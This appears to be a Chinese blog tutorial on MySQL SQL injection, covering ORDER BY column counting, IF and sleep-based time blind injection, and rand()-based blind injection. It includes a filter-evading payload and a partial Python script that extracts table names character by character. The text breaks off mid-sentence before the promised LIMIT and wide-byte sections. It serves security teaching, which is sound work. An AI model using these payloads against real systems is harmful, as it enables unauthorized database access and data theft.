SQL注入的order by ,limit与宽字节注入

本文详细介绍了SQL注入中的order by盲注、limit盲注和宽字节注入。通过order by可以判断注入点类型,如基于rand()的数字型盲注,基于时间的盲注等。limit注入主要针对MySQL 5.5之前的版本。宽字节注入利用了GBK编码的特性,绕过转义造成注入漏洞。文章还探讨了如何修复这些问题,如设置character_set_client为binary或使用mysql_set_charset来预防注入。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

order by

1、了解order by

order by是mysql中对查询数据进行排序的方法, 使用示例

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序

这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:

select * from user order by id;
selecr * from user order by 1;

2、判断注入类型

数字型order by注入时,语句order by=2 and 1=2,和order by=2 and 1=1 显示的结果一样,所以无法用来判断注入点类型

而用rand()会显示不同的排序结果

当在字符型中用?sort=rand(),则不会有效果,排序不会改变

因此用rand()可判断注入点类型

3、order by盲注

1、与union联用

前面经常利用order by子句进行快速猜解表中的列数
【根据是否报错来判断列数】

在这里插入图片描述

测试时,测试者可以通过修改order参数值,比如调整为较大的整型数,再依据回显情况来判断具体表中包含的列数。再配合使用union select语句进行回显。
union select语句进行回显

2、基于if语句盲注(数字型)

只有order=$id,数字型注入时才能生效,order ='$id'导致if语句变成字符串,功能失效。

if语句返回的是字符类型,不是整型, 因此如果使用数字代替列名是不行的,如下图
在这里插入图片描述
为此使用if判断的时候要返回要使用列名。
在这里插入图片描述

order by if(表达式,1,username)
表达式成立输出1
表达式失败输出username

3、基于时间的盲注

select * from users order by if(1=2,1,sleep(1));

小点:sleep(1)如果成功则返回 0,如果错误则返回 FALSE。

在这里插入图片描述

延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 它与所查询的数据的条数是成倍数关系的。
计算公式:延迟时间=sleep(1)的秒数*所查询数据条数
如果查询的数据很多时,延迟的时间就会特别长
在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。

盲注应用:
通过paload放到函数中进行二分法爆值。

 for i in range(1, 100000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1') aandnd (if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),%d,1))>%d,sleep(1),0))aandnd('1')=('1" % (
            i, mid)
            params = {'id': payload}
            start_time = time.time()  # 注入前的系统时间
            r = requests.get(url, params=params)
            end_time = time.time()  # 注入后的时间
            if end_time - start_time > 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
	name = name + chr(mid)
	print(name)

第一个%d表示:i,i范围1-100000。表示substr截取从左边第几个字符开始截取。
第二个%d表示:mid值

过程:
1、paload放入函数对数据截取转换为ASCII码,对得到的ASCII字符进行mid比较即为二分法来查找具体字符值。
2、如果ASCII码对于而二分法值大于mid则会进行sleep(1)。判断为真是因为字符的大小大于mid值,进行沉睡。
3、沉睡导致注入后时间比注入前系统时间差值大于1。如此表示字符比mid大,那么low = mid + 1并且mid值也发送改变。
4、此时low<high依旧成立继续比较。mid值改变了,依旧截取的第一个字符。
5、此时如果字符变得比现在mid小,如此不会沉睡输出为0,在网络的传输中虽然有延迟但是差值一般是不会超过1秒的。为此判断为假。此时mid将变为high。如此范围相比之前是之前mid为新low,之前改变后的mid变成high。
6、如此当字符此时正好为low或mid或high时,依旧重复上述操作,直到low=high就将结束while循环并且输出的mid【此时mid、low、high的值一样】。
7、如此跳出了第一个while循环,rang范围给i的值变2.开始第二个while循环输出下一个字符
8、全部while完后,得到的全是ASCII。为此利用chr(mid)把ASCII码转换为字符。print输出。

4.基于rand()的盲注(数字型)

rand() 函数可以产生随机数介于0和1之间的一个数
当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,种子固定,则生成的数固定

rand()为随机参数
在这里插入图片描述
rand(1)与rand(0) 固定了参数
在这里插入图片描述

order by rand:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同

order by rand(表达式)

当表达式为true和false时,排序结果是不同的,所以

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值